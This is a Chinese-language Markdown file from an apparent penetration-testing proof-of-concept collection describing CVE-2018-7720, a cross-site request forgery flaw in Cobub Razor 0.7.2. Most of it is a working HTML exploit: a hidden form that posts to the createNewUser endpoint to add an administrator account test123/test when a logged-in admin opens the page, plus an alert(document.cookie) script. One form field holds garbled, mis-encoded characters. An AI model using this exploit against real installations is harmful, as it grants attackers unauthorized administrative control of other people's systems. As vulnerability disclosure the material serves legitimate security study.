Penetration_Testing_POC/Cobub Razor 0.7.2存在跨站请求伪造漏洞.md
2019-07-24 19:29:08 +08:00

28 lines
1.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

### 漏洞简介
|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
--------|--------|---------|--------|-------|----|------|
|Cobub Razor 0.7.2存在跨站请求伪造漏洞|2018-03-06|Kyhvednyinfengwuyueyi@163.com、kyhvedn@5ecurity.cn|[http://www.cobub.com/](http://www.cobub.com/) | [https://github.com/cobub/razor/](https://github.com/cobub/razor/) |0.7.2 | [CVE-2018-7720](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7720)|
#### 漏洞概述
> Cobub Razor 0.7.2存在跨站请求伪造漏洞管理员登陆后访问特定页面可增加管理员账号。保存如下利用代码为html页面打开页面将增加test123/test的管理员账号。
### POC实现代码如下
> 利用代码如下:
``` html
<body>
<script>alert(document.cookie)</script>
<form action="http://localhost/index.php?/user/createNewUser/" method="POST">
<input type="hidden" name="username" value="test123" />
<input type="hidden" name="email" value="test&#64;test123&#46;test" />
<input type="hidden" name="password" value="test" />
<input type="hidden" name="confirm&#95;password" value="test" />
<input type="hidden" name="userrole" value="3" />
<input type="hidden" name="user&#47;ccreateNewUser" value="<22>&#136;&#155;<3B>&#187;<3B>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```